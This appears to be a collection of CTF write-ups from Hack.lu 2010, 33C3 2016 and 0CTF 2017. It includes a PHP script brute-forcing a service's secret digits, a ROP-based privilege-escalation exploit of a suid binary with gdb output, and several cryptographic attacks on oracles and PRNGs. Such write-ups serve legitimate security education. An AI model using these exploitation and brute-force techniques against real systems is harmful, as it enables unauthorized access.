010 WELCOME. Please Enter your secret digits
9
011 Continue
5
555 Wrong credentials

Easy to guess, we are wanted to bruteforce secret digits, one by one (not the whole number). Here is a simple php script for that:

<?php

    $key = "";
    while (1) {
        for ($i = 0; $i < 10; $i++) {
            $f = fsockopen("pirates.fluxfingers.net", "6969");
            fgets($f);
            fwrite($f, "$key$i\n");
            $s = fgets($f);
            if (strpos($s, "011") !== false) {
                $key .= $i;
                echo $i;
                break;
            }
            if (strpos($s, "555") === false) {
                echo "\nSTRANGE ANSWER (key={$key}{$i}): $s\n";
                die();
            }
        }
    }
   
?>

Running it:

$ php pwn.php 
9200372140803765602
STRANGE ANSWER (key=92003721408037656022): 100 Login successful

$ nc pirates.fluxfingers.net 6969
010 WELCOME. Please Enter your secret digits
92003721408037656022
100 Login successful
help
310 Command listing

version     (show version number)
list        (list treasure chests)
show N      (show content Nth chest)
empty       (empty the Nth chest - not available yet)
fill N M    (fill Nth chest with M gold - not available yet)
quit        (quit)

list
310 Listing chests:

1) DTCE Monthly Newsletter
2) damn secret
3) Welcome to our Digital Treasure Chest Enterprise

show 2
310 ---------------
 damn yer those bloody royal guards. I just want my rrrrum!
also, the Key is 'f00k1namaZ!ng'

Funny: A pirate does not "go shopping". Unless by "shopping", you mean "killing". 
---------------

The flag: f00k1namaZ!ng

Hack.lu 2010 CTF Challenge #19 Writeup

$
0
0

Magicwall (400)
Captain Hook found the following link after looting his last frigate.
He heard that the file flag on this system is worth 400 coins.
Give him this file and he will reward you!
ssh: pirates.fluxfingers.net:7022
user: ctf
password: ctf

In the box, there was a suid executable, which we were to compromise to get the flag. Here is it’s rebuilded source:

int main (int argc, char * argv[])
{
    unsigned int DEFACED; // [bp-ACh]
    int sum;              // [bp-A8h]
    int i;                // [bp-A0h]
    char buffer[136];     // [bp-98h]
    char *dest;           // [bp-10h]
    int saved_protector;  // [bp-Ch]

    saved_protector = global_protector;
    sum = 0;
    DEFACED = 0xDEFACED;
    if (argc <= 2)
    {
        fprintf(stderr, "Give me more!\n");
        return -1;
    }

    dest = buffer;
    for ( i = 0; i < strlen(argv[1]); ++i )
    {
        argv[1][i] ^= *((unsigned char *)&DEFACED + i % 4);
        if ( !(i & 3) )
            sum += argv[1][i];
    }
    
    strcpy(dest, argv[1]);
    if ( atoi(argv[2]) == sum )
        strcpy(dest, argv[1]);
        
    if ( saved_protector != global_protector )
    {
        puts("This move was absolutely NOT cool!");
        exit(1);
    }

    return 0;
}

We have a buffer overflow vulnerability with stack protection (the cookie is got from /dev/urandom). Also nx bit is set (stack is non-executable).

Obviously, we shouldn’t overwrite the stack cookie ( saved_protector ), this means path to main’s return is not straight forward. A good thing is that destination buffer to strcpy is passed in variable dest, which lies right before the stack cookie. So we can overwrite dest with first strcpy and then overwrite whatever-we-need with the second.

If we overwrite dest with address of return address of main function (which is 0xbfffxxxx), we will spoil the cookie with \x00 byte (strcpy does this evil). One way is to do a millions of tries, until stack cookie will be 0xXXXXXX00. But there is a more stable way – we can overwrite return address from the second strcpy call, during it’s execution. So, the cookie check won’t be executed, because we’ll return to whatever-we-need, not to main function.

Now it’s time to think where we want to return. Don’t forget, stack is non-executable, so we should use some Return Oriented Programming (ROP). Also, ROP code mustn’t contain null bytes (because of strcpy). There’s not too much code in the binary, so we can search for ROP gadgets manually. I found a nice block of code in __do_global_ctors_aux, which contains all that I need:

loc_8048833:
.text:08048833                 sub     ebx, 4
.text:08048836                 call    eax
.text:08048838                 mov     eax, [ebx]

loc_804883A:
.text:0804883A                 cmp     eax, 0FFFFFFFFh
.text:0804883D                 jnz     short loc_8048833
.text:0804883F                 pop     eax
.text:08048840                 pop     ebx
.text:08048841                 pop     ebp
.text:08048842                 retn

A nice thing is that glibc address is static. This prevents from running exploit several times, waiting for addressed to coinside. Let’s get system address:

ctf@Magicwall:~$ mkdir /tmp/mastaa
ctf@Magicwall:~$ cd /tmp/mastaa
ctf@Magicwall:/tmp/mastaa$ gdb ~/magicwall 
...
(gdb) b main
Breakpoint 1 at 0x804851d
(gdb) r
Starting program: /home/ctf/magicwall 

Breakpoint 1, 0x0804851d in main ()
(gdb) p/x &system
$1 = 0x1672a0

ROP code to call system(“sh ;”) (0x1672a0):
1. First, I want to put some return‘s addresses. Here they will act like nops in normal shellcode and will make guessing address of return address of strcpy easier. The address to return is: 0x08048842.
2. Next, I will use pop ebx, pop ebp, retn to load ebx. This ROP gadget has address 0x08048840.
3. After that, I want jump to address, stored in [ebx] (in dword, addressed by ebx). 0x08048838 will do this. There are more simple ways, like pop esi, and call esi, but the address contains a null byte, so we can’t store it in our ROP code.
How then can we use [ebx]? The trick is to export some environment variables. They are null terminated, so we will find “\xa0\x72\x16\x00” somewhere in the stack and put it’s address in ebx. “sh ;” string also will be there.
4. And at last, system function needs an argument.

Let’s get our env addresses:

$ export Z="`perl -e 'print ";sh "x128;'`"
$ export syst="`perl -e 'print pack("V", 0x1672a0)'`"
$ gdb --args  ~/magicwall "`perl -e 'print "A"x140;'`" 12345
...
(gdb) b main
Breakpoint 1 at 0x804851d
(gdb) r
Starting program: /home/ctf/magicwall AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 12345

Breakpoint 1, 0x0804851d in main ()
(gdb) x/100s 0xc0000000-512
0xbffffe00:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;s
h ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;
sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh 
;sh ;sh ;sh ;sh ;"...
0xbffffec8:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh "
...
0xbffffef4:     "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/us
r/bin:/sbin:/bin:/usr/games"
0xbfffff9e:     "syst=�r\026"
...
(gdb) x/20xw 0xbffffe00-32
0xbffffde0:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffdf0:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe00:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe10:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe20:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
(gdb) x/1s 0xbffffe04
0xbffffe04:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh
 ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;
sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh"...
(gdb) x/1xw 0xbfffff9e+5
0xbfffffa3:    0x001672a0
(gdb) p/x $esp
$1 = 0xbffff940

So, system address is stored at 0xbfffffa3, the argument is at 0xbffffe04. Approximate value of address of return address from strcpy is 0xbffff940. That address should be in the middle of ret-sled, so a place for our ROP code is some dwords before (0xbfffff904 looks ok)

Here is a perl script to generate payload and the checksum.

$ gdb --args ~/magicwall "`perl pwn.pl`" "`perl pwn.pl sum`"
..
(gdb) r
Starting program: /home/ctf/magicwall ... 1930
$

Got a shell! Cool, but only under gdb. The addresses differ, so we need to try some offsets. Perl script for that.

ctf@Magicwall:/tmp/mastaa$ perl syspwn.pl 
bffff904 bffffe04 bffffff0 (2009): 
...
bffff904 bffffe07 bfffff7c (2152): 
bffff904 bffffe04 bfffff7b (2148): sh: h: not found
$ id
uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf)
$ cat /home/ctf/flag
C_IS_FOR_C00KIE

Flag: C_IS_FOR_C00KIE

Hack.lu 2010 CTF Challenge #10 Writeup

$
0
0

#10 – Chip Forensic

To solve this task we have something like this (original image is lost)

and hex string:
0B 12 0F 0F 1C 4A 4C 0D 4D 15 12 0A 08 15.

What we see on image? Some USB device. Those who have seen them on ebay or on other sites knows that it is USB-keylogger. If you see them for first time use image search(e.x. tineye.com) or just guess.

Well, now we know it is keylogger. So hex string might be a log of USB-keyboard protocol. But organizators have simplified this task(. They put in hex string only scan-codes without synchronization signals. So just use table of USB-keyboard scan-codes.

0B 12 0F 0F 1C 4A 4C 0D 4D 15 12 0A 08 15
H O L L Y Home Delete J End R O G E R

So “JOLLYROGER” was typed.


Hack.lu 2010 CTF Challenge #7 Writeup

$
0
0

Breiers Deathmatch (150)
Schnuce Breier has challenged you to a cryptographer’s deathmatch.
Connect to pirates.fluxfingers.net 8007/tcp and get the secret number.

$ nc pirates.fluxfingers.net 8007
Hi. This is your friendly 'Decryption Oracle'
We have implemented a well-known public-key cryptosystem. Guess which ;)

Modulo: 5628290459057877291809182450381238927697314822133923421169378
062922140081498734424133112032854812341
Generator: 99
Public Key: 135744434201778324839308712462911647727754874814096844915
5264250239122362719894347099351280643528244
Ciphertext: (44750535504622985677351849167148532593337860047243938284
03819968944371696234280482660523326406427034, 40867215175893797288404
946257736816173818197916450869030897144967500283290022490653051180592
71096141)
Insert your Ciphertext-Tuple for me to decrypt - comma seperated (e.g.
5,6)
>>> 44750535504622985677351849167148532593337860047243938284038199689
44371696234280482660523326406427034, 40867215175893797288404946257736
81617381819791645086903089714496750028329002249065305118059271096141
Duh! This would be too easy, right?

Ciphertext consists from 2 numbers, it should be an El Gamal cryptosystem.
In El Gamal, the public key is (p,g,y=g^x). We know them:
p is Modulo
g is Generator
y is Public Key

Encryption algorithm:
k – random (ephemeral key)
c1 = g^k (mod p)
c2 = M * y^k (mod p)

(c1, c2) is ciphertext

Decryption:
M = c2/(c1^x) (mod p)

We are to make the service to decrypt the message, without giving ciphertext to him in it’s initial form. It’s pretty easy, we can multiply c2 by 2 and then divide the result by two:
So, we send (c1, c2*2), receive M2 = c2*2/(c1^x) (mod p) and calculate M = M2/2 (mod p):

$ nc pirates.fluxfingers.net 8007
Hi. This is your friendly 'Decryption Oracle'
We have implemented a well-known public-key cryptosystem. Guess which ;)

Modulo: 5628290459057877291809182450381238927697314822133923421169378062
922140081498734424133112032854812341
Generator: 99
Public Key: 135744434201778324839308712462911647727754874814096844915526
4250239122362719894347099351280643528244
Ciphertext: (41825515265437061640942636436479629462349412223362537818815
60365619622829030601031151502516559081608, 15384270178209934586156113242
39137557460949040901187143519958777947772936657937341638294059899245093)
Insert your Ciphertext-Tuple for me to decrypt - comma seperated (e.g. 
5,6)
>>> ^Z                                                                                                   
[1]+  Stopped                 nc pirates.fluxfingers.net 8007

$ py
Python 2.6.5 (r265:79063, Apr 16 2010, 13:09:56) 
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 15384270178209934586156113242391375574609490409011871435199587779477
72936657937341638294059899245093*2
307685403564198691723122264847827511492189808180237428703991755589554587
3315874683276588119798490186L
>>> 
[2]+  Stopped                 python

hellman@hellpc ~/Temp/hacklu/7 $ fg 1
nc pirates.fluxfingers.net 8007
418255152654370616409426364364796294623494122233625378188156036561962282
9030601031151502516559081608,3076854035641986917231222648478275114921898
081802374287039917555895545873315874683276588119798490186 
Decrypted:
1772769743432258561317602
^C

hellman@hellpc ~/Temp/hacklu/7 $ fg 2
python
>>> 1772769743432258561317602/2
886384871716129280658801L

It’s not obvious, but the flag is 886384871716129280658801.

Hack.lu 2010 CTF Challenge #8 Writeup

$
0
0

Sad Little Pirate (150)
Our sad little pirate haes lost his password.
It is known that the pirate has just one hand left; his left hand. So the paessword input is quite limited. Also he can still remember that the plaintext started with “674e2” and his password with “wcwteseawx” Please help the sad pirate finding his plaintext.

Ciphertext

0x40, 0x40, 0xa9, 0x8a, 0xd1, 0xae, 0x25, 0xdf, 0x8b, 0xe9,
0x7d, 0xf6, 0x5f, 0x90, 0xa9, 0x80, 0x97, 0xf3, 0x95, 0x80,
0xe4, 0x11, 0x65, 0x55, 0x0a, 0xdc, 0xf8, 0x29, 0x41, 0x7b,
0x00, 0x2c, 0x0f, 0x81, 0xb3, 0xb1, 0xbc, 0xdc, 0x83, 0x91,
0x1e, 0x06, 0x52, 0xd8, 0xa9, 0x28, 0x04, 0x35, 0x41, 0x6a,
0x33, 0x2f, 0x7a, 0x3f, 0x8b, 0x34, 0x91, 0x24, 0x9b, 0x3b,
0x66, 0x96, 0x25, 0x0c, 0x4c, 0x24, 0x36, 0xe6, 0x62, 0x1d,
0x0c, 0xf2, 0x38, 0x2b, 0x2d, 0x7e, 0x24, 0x8f, 0x08, 0x76,
0x92, 0xd0, 0x6a, 0xeb, 0x23, 0x29, 0x1b, 0x47, 0x96, 0x24,
0x45, 0xcd, 0x76, 0x47, 0x99, 0xdf, 0x49, 0x7c, 0xf2, 0xc3,
0xcc, 0x02, 0xd1, 0xbe, 0xb7, 0xe1, 0xae, 0xed, 0xe6, 0x82,
0x37, 0x30, 0xc3, 0xd2, 0x92, 0x08, 0x0f, 0xde, 0xa5, 0x21,
0xd9, 0x8b, 0xf8, 0xde, 0x60, 0x7c, 0x0e, 0x29

There is a nice hint that cipher is AES ( there were words ‘haes‘, ‘paessword’). Also, the pirate has only left hand, so the charset is “12345qwertasdfgzxcvb”.

Nothing special, use source and AES implementation, header to get the password:

$ gcc rijndaelbrute.c rijndael.c -O9 -o brute && time ./brute 2
Key: wcwteseawxqgvaqg
Text: 674e2ea5b6d8fcdb49a3cf70bf5679202a7776d-YOU-
MADE-IT-12bb1bceee69532bc830cb2ff8fc93f6c2c2ea4e5e
05d20f778736214bb814583a29ef0a4048
Bruteforce ended

real    0m4.246s
user    0m7.096s
sys    0m0.548s

The flag is:
674e2ea5b6d8fcdb49a3cf70bf5679202a7776d-YOU-
MADE-IT-12bb1bceee69532bc830cb2ff8fc93f6c2c2
ea4e5e05d20f778736214bb814583a29ef0a4048

33C3 CTF 2016 – beeblebrox (Crypto 350)

$
0
0

Make bad politicians resign!

nc 78.46.224.72 2048

files

Summary: factorization-based attack on a signature method

In this challenge we have access to a signature oracle, who does not sign a special message. Our goal is to obtain a valid signature for that special message.

Code for the oracle:

...
# msg and ctr are sent by the client
ctr = decode(ctr, 0, 2**32) # allowed range
h = hash(msg, ctr)
if msg == TARGET_MSG or not is_prime(h, 128):
    self.send_msg("Sorry, I can't sign that.")
else:
    exponent = modinv(h, PHI)
    signature = pow(S, exponent, MODULUS)
    self.send_msg("Here you are, darling!")
    self.send_msg(encode(signature, 256))
...

And for the challenge:

ctr = decode(ctr, 0, 2**32)
signature = decode(signature, 2, MODULUS)
h = hash(TARGET_MSG, ctr)
if msg == TARGET_MSG and pow(signature, h, MODULUS) == S
   and is_prime(h, 128):
    self.send_msg("Okay, I give up :(")
    self.send_msg("Here's your flag: " + FLAG)
else:
    self.send_msg("No.")

So far so good, but let’s look at the is_prime function:

def is_prime(n, c):
    if n <= 1: return False
    if n == 2 or n == 3: return True
    if n % 2 == 0: return False
    for _ in range(c):
        a = random.randrange(1, n)
        if not pow(a, n-1, n) != 1:
            return False
    return True

It is just a Fermat primality test! We could try to use Carmichael numbers, but hardly any hash of the TARGET_MSG with one of the $2^{32}$ nonces will be a Carmichael number.. Wait.. Look at this line: if not pow(a, n-1, n) != 1:. The condition is inverted! The not should not be there!

It turns out that is_prime accepts only odd composite numbers (not equal to 3). How can we use it?

The signatures look like this:

$sig(msg) = S^{1/h(msg,nonce)} \mod N$.

Since the primality test is wrong, we want to use factorizations. Indeed, if we know $S^{1/(kp)}$ we can compute

$(S^{1/(kp)})^k \mod N = S^{1/p} \mod N $.

In such a way we can collect $S^{1/p}$ for many small primes and hope that $h(msg,nonce)$ will be smooth, that is will contain only those small primes in its factorization.

But how do we combine signatures for two primes? That's slightly tricker. We don't have much options. Let's try to multiply the signatures:

$S^{1/p} S^{1/q} = S^{\frac{p+q}{pq}}$.

Not the $S^{1/(pq)}$ that we wanted.. But can we change $p+q$ to 1 somehow? Indeed, let's generalize our multiplication:

$(S^{1/p})^a (S^{b/q})^b = S^{a/p} S^{b/q} = S^{\frac{bp+aq}{pq}}$.

If $p$ and $q$ are coprime, then we can use the Extended Euclidian Algorithm to find parameters $a,b$ such that $bp+aq=1$ and we are done!

Data

We found that H = hash(TARGET_MSG, nonce=35856) has the following factorization:

sage: factor(15430531282988074152696358566534774123)
3 * 11 * 19 * 137 * 173 * 337 * 7841 * 107377 * 206597 * 3446693 * 5139341

And hash("blah", nonce) gives us all these prime factors for the following nonces:

nonces = [
    464628494, # 3
    513958308, # 11
    584146771, # 19
    501252653, # 137
    836242304, # 173
    119438940, # 337
    242937565, # 7841
    853304146, # 107377
    642736722, # 206597
    836398440, # 3446693
    54720172 , # 5139341
]

After implementing and running the attack, we get the flag: 33C3_DONT_USE_BRUTE_FORCE_AGAINST_POLITICIANS

0CTF 2017 Quals – OneTimePad 1 and 2

$
0
0

I swear that the safest cryptosystem is used to encrypt the secret!
oneTimePad.zip

Well, maybe the previous one is too simple. So I designed the ultimate one to protect the top secret!
oneTimePad2.zip

Summary: breaking a linear and an LCG-style exponential PRNGs.

In this challenges we need to break a PRNG. We are given a part of the keystream and we need to recover another part to decrypt the flag.

OneTimePad1

The code:

from os import urandom

def process(m, k):
    tmp = m ^ k
    res = 0
    for i in bin(tmp)[2:]:
        res = res << 1;
        if (int(i)):
            res = res ^ tmp
        if (res >> 256):
            res = res ^ P
    return res

def keygen(seed):
    key = str2num(urandom(32))
    while True:
        yield key
        key = process(key, seed)

def str2num(s):
    return int(s.encode('hex'), 16)

P = 0x10000000000000000000000000000000000000000000000000000000000000425L

true_secret = open('flag.txt').read()[:32]
assert len(true_secret) == 32
print 'flag{%s}' % true_secret
fake_secret1 = "I_am_not_a_secret_so_you_know_me"
fake_secret2 = "feeddeadbeefcafefeeddeadbeefcafe"
secret = str2num(urandom(32))

generator = keygen(secret)
ctxt1 = hex(str2num(true_secret) ^ generator.next())[2:-1]
ctxt2 = hex(str2num(fake_secret1) ^ generator.next())[2:-1]
ctxt3 = hex(str2num(fake_secret2) ^ generator.next())[2:-1]
f = open('ciphertext', 'w')
f.write(ctxt1+'\n')
f.write(ctxt2+'\n')
f.write(ctxt3+'\n')
f.close()

The key observation here is that $process(m, k)$ is … just squaring of $m \oplus k$ in $GF(2^{256})$, with the irreducible polynomial given by $P$. To invert squaring, we can simply square $255$ times more:

c1 = 0xaf3fcc28377e7e983355096fd4f635856df82bbab61d2c50892d9ee5d913a07f
c2 = 0x630eb4dce274d29a16f86940f2f35253477665949170ed9e8c9e828794b5543c
c3 = 0xe913db07cbe4f433c7cdeaac549757d23651ebdccf69d7fbdfd5dc2829334d1b

k2 = c2 ^ str2num(fake_secret1)
k3 = c3 ^ str2num(fake_secret2)

kt = k3
for i in xrange(255):
    kt = process(kt, 0)

seed = kt ^ k2
print "SEED", seed
assert process(k2, seed) == k3

kt = k2
for i in xrange(255):
    kt = process(kt, 0)

k1 = kt ^ seed
print "K1", seed
assert process(k1, seed) == k2

m = k1 ^ c1
print `hex(m)[2:-1].decode("hex")`

The flag: flag{t0_B3_r4ndoM_en0Ugh_1s_nec3s5arY}

Another way to solve this is to see that process is linear (indeed, squaring in $GF(2^x)$ is linear) and can be inverted by linear algebra. More funny, a proper encoding of the problem for z3 yiels the result too, but only after ~1.5 hours on my laptop:

from z3.z3 import *

def proc(m, k):
    tmp = m ^ k
    res = 0
    for i in xrange(256):
        feedback = res >> 255
        res = res << 1
        mask = (tmp << i) >> 255
        res = res ^ (tmp & mask)
        res = res ^ (P & feedback)
    return res

# realk1 = k1
# realseed = seed

seed = BitVec("seed", 256)
k1 = BitVec("k1", 256)

s = Solver()
s.add(proc(k1, seed) == k2)
s.add(proc(k2, seed) == k3)

print "Solving..."
print s.check()
model = s.model()
k1 = int(model[k1].as_long())
print `hex(k1 ^ c1)[2:-1].decode("hex")`

OneTimePad 2

The code:

from os import urandom

def process1(m, k):
    res = 0
    for i in bin(k)[2:]:
        res = res << 1;
        if (int(i)):
            res = res ^ m
        if (res >> 128):
            res = res ^ P
    return res

def process2(a, b):
    res = []
    res.append(process1(a[0], b[0]) ^ process1(a[1], b[2]))
    res.append(process1(a[0], b[1]) ^ process1(a[1], b[3]))
    res.append(process1(a[2], b[0]) ^ process1(a[3], b[2]))
    res.append(process1(a[2], b[1]) ^ process1(a[3], b[3]))
    return res

def nextrand(rand):
    global N, A, B
    tmp1 = [1, 0, 0, 1]
    tmp2 = [A, B, 0, 1]
    s = N
    N = process1(N, N)
    while s:
        if s % 2:
            tmp1 = process2(tmp2, tmp1)
        tmp2 = process2(tmp2, tmp2)
        s = s / 2
    return process1(rand, tmp1[0]) ^ tmp1[1]


def keygen():
    key = str2num(urandom(16))
    while True:
        yield key
        key = nextrand(key)

def encrypt(message):
    length = len(message)
    pad = '\x00' + urandom(15 - (length % 16))
    to_encrypt = message + pad
    res = ''
    generator = keygen()
    f = open('key.txt', 'w') # This is used to decrypt and of course you won't get it.
    for i, key in zip(range(0, length, 16), generator):
        f.write(hex(key)+'\n')
        res += num2str(str2num(to_encrypt[i:i+16]) ^ key)
    f.close()
    return res

def decrypt(ciphertxt):
    # TODO
    pass

def str2num(s):
    return int(s.encode('hex'), 16)

def num2str(n, block=16):
    s = hex(n)[2:].strip('L')
    s = '0' * ((32-len(s)) % 32) + s
    return s.decode('hex')

P = 0x100000000000000000000000000000087
A = 0xc6a5777f4dc639d7d1a50d6521e79bfd
B = 0x2e18716441db24baf79ff92393735345
N = str2num(urandom(16))
assert N != 0

if __name__ == '__main__':
    with open('top_secret') as f:
        top_secret = f.read().strip()
    assert len(top_secret) == 16
    plain = "One-Time Pad is used here. You won't know that the flag is flag{%s}." % top_secret

    with open('ciphertxt', 'w') as f:
        f.write(encrypt(plain).encode('hex')+'\n')

This one is a bit trickier. Still, easy to spot – $process1(m, k)$ is a multiplication in $GF(2^{128})$. A closer look at $process2$ reveals that it is just a multiplication of two $2×2$ matricesn. What does $nextrand$ do? It implements a fast exponentiation. Let

$M = \begin{bmatrix}
A & B \\
1 & 0 \\
\end{bmatrix}$.

Then

$nextrand(rand) = M^N[0,0] \cdot rand + M^N[0,1]$,

and also $N$ is updated to $N^2$. What are the of values $M^N$ being used? Let’s look at powers of $M$ symbolically:

sage: R. = GF(2**128, name='a')[]
sage: M = matrix(R, [[a, b], [0, 1]])
sage: M
[a b]
[0 1]
sage: M**2
[    a^2 a*b + b]
[      0       1]
sage: M**3
[            a^3 a^2*b + a*b + b]
[              0               1]
sage: M**4
[                    a^4 a^3*b + a^2*b + a*b + b]
[                      0                       1]

Hmm, the first entry is simply $A^N$ and the second entry is equal to

$B(A^{N-1} + A^{N-2} + \ldots + 1) = B(A^N-1)/(A-1)$.

Therefore, we have the following equations:

  1. $PRNG_1 = key$;
  2. $PRNG_2 = A^N \cdot PRNG_1 + B(A^N-1)/(A-1)$;
  3. $PRNG_3 = A^{N^2} \cdot PRNG_2 + B(A^{N^2}-1)/(A-1)$;
  4. and so on, the exponent is squared each time.

Here $N$ is unknown, but we can’t solve for it directly. Let’s solve for $A^N$ first and then solve a discrete logarithm problem.

Let’s multiply the second equation by $(A-1)$:

$PRNG_2 \cdot (A-1) = A^N \cdot PRNG_1 \cdot (A-1) + B(A^N-1),$

$\Leftrightarrow A^N = \frac{PRNG_2 \cdot (A-1) + B}{PRNG_1 \cdot (A – 1) + B}$.

Thus we can compute $A^N$. To get $N$ we need to compute discrete logarithm in $GF(2^{128})$. There are subexponential algorithms, so that the 128-bit size is quite practical. Indeed, sage can do it in a few minutes:

from sage.all import *

plain = "One-Time Pad is used here. You won't know that the flag is flag{"
ct = "0da8e9e84a99d24d0f788c716ef9e99cc447c3cf12c716206dee92b9ce591dc0722d42462918621120ece68ac64e493a41ea3a70dd7fe2b1d116ac48f08dbf2b26bd63834fa5b4cb75e3c60d496760921b91df5e5e631e8e9e50c9d80350249c".decode("hex")

vals = []
for i in xrange(0, 64, 16):
    vals.append(str2num(plain[i:i+16]) ^ str2num(ct[i:i+16]))
    print "KEY %02d" % i, hex(vals[-1])

p0 = vals[0]
p1 = vals[1]
uppp = process1(p1, A ^ 1) ^ B
down = process1(p0, A ^ 1) ^ B
down = pow1(down, 2**128-2)  # inversion
AN = process1(uppp, down)
print "A^N", AN

def ntopoly(npoly):
    return sum(c*X**e
        for e, c in enumerate(Integer(npoly).bits()))

X = GF(2).polynomial_ring().gen()
poly = ntopoly(P)
F = GF(2**128, modulus=poly, name='a')
a = F.fetch_int(A)
an = F.fetch_int(AN)

N = int(discrete_log(an, a))
# takes ~1 minute
# N = 76716889654539547639031458229653027958
assert a**N == an

def keygen2(key):
    while True:
        yield key
        key = nextrand(key)

K = vals[0]
print "K", K
print "N", N
print `encrypt(ct, keygen2(K))`

The flag: flag{LCG1sN3ver5aFe!!}

0CTF 2017 Quals – Zer0llvm

$
0
0

Talent Yang loves to customize his own obfuscator. Unfortunately, he lost his seed when he was watching Arsenal’s UEFA game. What a sad day! His team and his seed were lost together. To save him, could you help him to get back his seed? We can not save the game, but we may be able to find out his seed.
Compile: ollvm.clang -Xclang -load -Xclang lib0opsPass.so -mllvm -oopsSeed=THIS_IS_A_FAKE_SEED source.c
Clang && LLVM Version: 3.9.1
link
flag format: flag{seed}

Summary: deobfuscating and attacking AES parts.

In this challenge we are given an obfuscation plugin for llvm and an obfuscated binary. The plugin accepts a 16-byte seed as a parameter and uses it for internal PRNG. Our goal is to analyze the binary and recover the seed from it.

The binary is basically a big state machine. Here is start of the main function:

.text:4004C0 main:           ; DATA XREF: _start+1D
.text:4004C0     push rbp
.text:4004C1     mov  rbp, rsp
.text:4004C4     sub  rsp, 4038Ch
.text:4004CB     mov  dword ptr [rbp-4], 0
.text:4004D2     mov  dword ptr [rbp-8], 46544330h
.text:4004D9     mov  dword ptr [rbp-0Ch], 4E52BCE7h
.text:4004E0
.text:4004E0 main_switch:       ; CODE XREF: .text:loc_7635AC
.text:4004E0     mov  eax, [rbp-0Ch]
.text:4004E3     mov  ecx, eax
.text:4004E5     sub  ecx, 8000DEEAh
.text:4004EB     mov  [rbp-10h], eax
.text:4004EE     mov  [rbp-14h], ecx
.text:4004F1     jz   loc_728049
.text:4004F7     jmp  $+5
.text:4004FC
.text:4004FC loc_4004FC:        ; CODE XREF: .text:00000000004004F7
.text:4004FC     mov  eax, [rbp-10h]
.text:4004FF     sub  eax, 8001EACAh
.text:400504     mov  [rbp-18h], eax
.text:400507     jz   loc_73E38A
.text:40050D     jmp  $+5
.text:400512
.text:400512 loc_400512:        ; CODE XREF: .text:000000000040050D
.text:400512     mov  eax, [rbp-10h]
.text:400515     sub  eax, 8003CC64h
.text:40051A     mov  [rbp-1Ch], eax
.text:40051D     jz   loc_5C0C95
.text:400523     jmp  $+5
...

In pseudocode, it could be something like this:

state = 0x4E52BCE7
main_switch:
switch(state) {
    case 0x8000DEEA: goto loc_728049;
    case 0x8001EACA: goto loc_73E38A;
    case 0x8003CC64: goto loc_5C0C95;
    ...
}
loc_xxxxxx:
   // do something
   state = 0x8003CC64
   goto main_switch

Note that the state ids are sorted as signed 32-bit integers. Also, during the case probing, some intermediate data is written to the stack (i.e. [rbp-14h] and lower), but there are no further reads from that area. By running the binary and checking for system calls with strace we can see that it does not do anything useful. Let’s look at the llvm plugin to see how the seed is used.

lib0opsPass.so

The plugin is written in C++ and exports a bunch of functions. The main function of our interest is Oops::OopsFlattening::flatten(). Though it’s quite big, we can quickly locate interesting parts by looking at cross-references from crypto-related functions.

First it calls prng_seed to seed its internal PRNG state:

Oops::CryptoUtils::prng_seed(cryptoutils, &seed_string);

Then it uses the PRNG to generate 16 bytes:

memset(&key, 0, 0x20uLL);
LODWORD(cryptoutils_) = llvm::ManagedStatic::operator->(&Oops::Oopscryptoutils, 0LL);
Oops::CryptoUtils::get_bytes(cryptoutils_, &key, 16);
if ( crc32('FTC0', &key, 3) != 0xF9E319A6 )
...

Note that the hardcoded crc32 check allows us to easily find the first 3 bytes of the generated key: 179, 197, 140.

The key is then used to “scramble” values from a hardcoded array called plains:

LODWORD(plains0) = plains[0];
LODWORD(v35) = llvm::ManagedStatic::operator->(&Oops::Oopscryptoutils, v33);
v36 = plains0;
v37 = Oops::CryptoUtils::scramble32(v35, plains0, &key);
...
v60 = counter++;
plainsCUR = plains[v60];
LODWORD(v62) = llvm::ManagedStatic::operator->(&Oops::Oopscryptoutils, v59);
v63 = Oops::CryptoUtils::scramble32(v62, plainsCUR, &key);

It’s not clear for now how these “scrambled” values are used later. IDA tells us that there are around $2^{16}$ values in the array:

.data:2345E0 ; _DWORD plains[65806]
.data:2345E0 plains          dd 0F6172961h, 0CB973739h, 904F3728h, 0DB7194B9h, 81E0B166h
...

Probably it is possible to look at the LLVM-related code and see how exactly these values are used. But in the obfuscated binary there are not so many random-looking words. The only ones which come to mind are the state ids!

Let’s log all the state ids passed to the main_switch. Here is a simple gdb script for it:

$ cat >cmd
set confirm off
set pagination off
break *0x04004e3
commands
p/x $eax
cont
end
run

$ gdb -x cmd -n ./0llvm log
$ head -30 log
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
...
Reading symbols from ./0llvm...(no debugging symbols found)...done.
Breakpoint 1 at 0x4004e3

Breakpoint 1, 0x00000000004004e3 in main ()
$1 = 0x4e52bce7

Breakpoint 1, 0x00000000004004e3 in main ()
$2 = 0x3ac545da

Breakpoint 1, 0x00000000004004e3 in main ()
$3 = 0xff97c58e

Breakpoint 1, 0x00000000004004e3 in main ()
